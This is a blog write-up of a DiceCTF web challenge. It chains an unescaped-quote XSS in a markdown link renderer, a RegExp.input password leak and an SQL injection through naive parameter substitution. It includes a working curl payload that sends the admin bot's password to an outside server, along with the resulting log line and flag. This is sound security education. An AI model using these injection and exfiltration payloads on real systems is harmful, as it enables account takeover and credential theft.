Last weekend I participated in DiceCTF. There was some very interesting challenges and I had a lot of fun. Here is a write-up for one of the challenges I solved.
For this challenge, we're presented with a note-keeping app. It allows storing either plaintext or markdown notes. The main distinction is instead of using cookies, it just asks you for a password on every page load.
The admin bot
The challenge also includes an admin bot, that you can give urls to, to visit. Here is a snippet from its code:
// make an account
const username = Array(32)
.fill('')
.map(() => Math.floor(Math.random() * 16).toString(16))
.join('');
const password = flag;
const firstLogin = doLogin(username, password);
try {
page.goto(`https://no-cookies-${instance}.mc.ax/register`);
} catch {}
await firstLogin;
await sleep(3000);
// visit the note and log in
const secondLogin = doLogin(username, password);
try {
page.goto(url);
} catch {}
await secondLogin;
As we can see from the bot code. It creates an account with a random username, and the password being the flag which we are trying to obtain. Since it first visits one page, and then a second of our choosing, this is a strong hint that the intended solution is some sort of XSS to exfiltrate the password.
The view code
Since I suspected that we were looking for an XSS, and I knew the app supported markdown, a good first place to look was the markdown rendering code. This happened entirely client-side on the view note page. Here is the relevant snippet, with important parts bolded.
<script>
(() => {
const validate = (text) => {
return /^[^$']+$/.test(text ?? '');
}
const promptValid = (text) => {
let result = prompt(text) ?? '';
return validate(result) ? result : promptValid(text);
}
const username = promptValid('Username:');
const password = promptValid('Password:');
const params = new URLSearchParams(window.location.search);
(async () => {
const { note, mode, views } = await (await fetch('/view', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
username,
password,
id: params.get('id')
})
})).json();
if (!note) {
alert('Invalid username, password, or note id');
window.location = '/';
return;
}
let text = note;
if (mode === 'markdown') {
text = text.replace(/\[([^\]]+)\]\(([^\)]+)\)/g, (match, p1, p2) => {
return `<a href="${p2}">${p1}</a>`;
});
text = text.replace(/#\s*([^\n]+)/g, (match, p1) => {
return `<h1>${p1}</h1>`;
});
text = text.replace(/\*\*([^\n]+)\*\*/g, (match, p1) => {
return `<strong>${p1}</strong>`;
});
text = text.replace(/\*([^\n]+)\*/g, (match, p1) => {
return `<em>${p1}</em>`;
});
}
document.querySelector('.note').innerHTML = text;
document.querySelector('.views').innerText = views;
})();
})();
</script>
The first thing I was drawn to was this part:
text = text.replace(/\[([^\]]+)\]\(([^\)]+)\)/g, (match, p1, p2) => {
return `<a href="${p2}">${p1}</a>`;
});
Which looks for syntax like (Link text)[https://urltolinkto.com] and replaces it with a link. A keen eye would notice that the url is allowed to contain double quotes ("), which don't get escaped. This allows you to make extra attributes on the <a> tag. For example (link text)[http://example.com" class="foo] gets turned into <a href="http://example.com" class="foo">link text</a>. This can be used as an XSS by using html event handlers. For example, (link)[https://example.com" onmouseover="alert`1`]. Will make an alert box if you hover over the link with your mouse.
A lack of user interaction
However, the admin bot doesn't have a mouse, and doesn't interact with the page. So how do we make the xss trigger? We can't tell it to hover over the link
This took me a little while, because I was testing on firefox, but the admin bot uses chrome, and the behaviour is mildly different. Eventually though, I found out that in chrome you can use the autofocus attribute to force focus to the element, and use an onfocus handler to execute code:
(foo)[http://example.com" autofocus=autofocus onfocus="alert`1`]
This will pop the alert box immediately on page view, including for the admin bot
Problem solved right? Wait...
With that, I had assumed I had solved the problem. All I had to do was read the password variable, and send it off to a webserver I control.
So to check if that would work, first I tried:
(foo)[http://example.com" autofocus=autofocus onfocus="alert(password)]
Note: The ) had to be escaped as ) because the regex stopped at first ")"
...and got a pop-up saying "undefined". Whoops looking back at the view code, I see that const password, is defined in an anonymous arrow function, and my code is executing outside of it (Since its coming from an HTML event handler) so the password variable is not in scope.
At this point, I got stumped for a little bit.
Looking back at the code, I noticed that it was validating the password a bit weirdly
const validate = (text) => {
return /^[^$']+$/.test(text ?? '');
}
It was basically checking that the password has at least 1 character, and does not contain apostrophes or dollar signs. Which is just a bit random. If this was actually important you would do it on the server side. In a CTF, one of the key things to do is look for code that stick out or code that looks like something you wouldn't normally write if writing software. This validate function looked a bit suspicious to me, although to be honest, I only thought that because I was fairly stuck at this point.
I had a vague memory of early JS having some weird design choices around Regexes. So I decided to read up on RegExp in Javascript. Eventually I found this page https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/input which was very relevant to the matter at hand.
In short, whenever you run a regex in javascript, JS saves the text you ran it on as a static class property, and you can access it later by looking at RegExp.input.
This is first of all crazy (Thanks JS). However, it seemed perfect for this situation. I assumed that since the password was the last thing .test() was ran on, I could obtain it from RegExp.input
However, there was a problem. All the .replace() calls from the markdown parsing also set RegExp.input overriding the password. It seemed like I was at an impasse.
The app did support plaintext notes, which wouldn't run the problematic .replace() calls. If I could somehow get an XSS in a plaintext note, then I could use the RegExp.input trick
Perhaps the markdown XSS I found was a red herring, and I needed to look elsewhere.
On to an SQL injection
Looking at the view code, if the note is a plaintext note, then it is inserted directly into the document without any escaping on the client side. All the escaping takes place on the backend at insert time. Lets take a look at the backend code:
const db = {
prepare: (query, params) => {
if (params)
for (const [key, value] of Object.entries(params)) {
const clean = value.replace(/['$]/g, '');
query = query.replaceAll(`:${key}`, `'${clean}'`);
}
return query;
},
[...]
run: (query, params) => {
const prepared = db.prepare(query, params);
console.log( prepared );
return database.prepare(prepared).run();
},
};
[...]
db.run('INSERT INTO notes VALUES (:id, :username, :note, :mode, 0)', {
id,
username,
note: note.replace(/[<>]/g, ''),
mode,
});
As you can see, at insert, the app strips < and > when inserting a note in the DB. It doesn't seem like there's any way to get an XSS past that filter.
However, the prepare function has a flaw that lets us manipulate how SQL queries are generated in general.
The prepare function replaces keys like :note with their escaped values one at a time. However, it doesn't check whether the parameter value contains a replacement identifier itself. For example, if your username is :note, the SQL query will become messed up after :note gets replaced in the replacement.
As an example, consider how the following query would be prepared:
db.run( 'INSERT INTO notes VALUES (:id, :username, :note, :mode, 0)',
{
id: "12345",
username: ":note",
note: ', :mode, 22, 0)-- ',
mode: '<img src=x onerror="alert(RegExp.input)">',
}
Lets run through what would happen when preparing this query.
We start with:
INSERT INTO notes VALUES (:id, :username, :note, :mode, 0)
We replace :id with '12345'
INSERT INTO notes VALUES ('12345', :username, :note, :mode, 0)
We replace :username with ':note'
INSERT INTO notes VALUES ('12345', ':note', :note, :mode, 0)
We replace :note with ',:mode, 22, 0)-- '
INSERT INTO notes VALUES ('12345', '', :mode, 22, 0)-- '', ',:mode, 22, 0)-- ', :note, :mode, 0)
We replace :mode with '<img src=x onerror="alert(RegExp.input)">'
INSERT INTO notes VALUES ('12345', '', '<img src=x onerror="alert(RegExp.input)">', 22, 0)-- '', ',:mode, 22, 0)-- ', :note, :mode, 0)
Note that -- is the SQL comment character, so the end result is effectively:
INSERT INTO notes VALUES ('12345', '', '<img src=x onerror="alert(RegExp.input)">', 22, 0);
bypassing the XSS filter.
Success
In the end we have inserted a plaintext note containing malicious javascript (Any note that has a mode which is not 'markdown' is considered plaintext). I visited the page, and I got a pop-up with my password.
Now all we need to do is make a payload that instead of showing the password in an alert box, exfiltrates the password to us.
I pre-registered an account with username ":note" and passwored "password". I then created a note with the following curl command:
$ curl 'https://no-cookies-0ac0b52c95f3abe3.mc.ax/create' -H 'Content-Type: application/json' --data-raw '{"username":":note","password":"password","note":",:mode, 22, 0)-- ","mode":"<img src=x onerror=\"window.location="https://bawolff.net?"+RegExp.input\">"}'
{"id":"32e8c795bb8b44b74d52d74e261a2942"}
I then input the view url to the admin bot service, waited for the admin bot to visit it and watched my webserver log. Sure enough, I soon saw:
34.139.106.105 - - [06/Feb/2022:08:52:49 +0000] "GET /?dice{curr3nt_st4t3_0f_j4v45cr1pt} HTTP/1.1" 200 5514 "https://no-cookies-0ac0b52c95f3abe3.mc.ax/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4855.0 Safari/537.36"
Thus the flag is dice{curr3nt_st4t3_0f_j4v45cr1pt}
p.s. I hear that RegExp.input isn't the only possible solution. I definitely was not able to think of something like this, but I heard some teams used a really ingenious solution involving replacing the document.querySelector, JSON.stringify functions and re-calling the inner async anon function so that the attacker controlled replaced JSON.stringify function gets called with the password. Which is an absolutely beautiful exploit.
No comments:
Post a Comment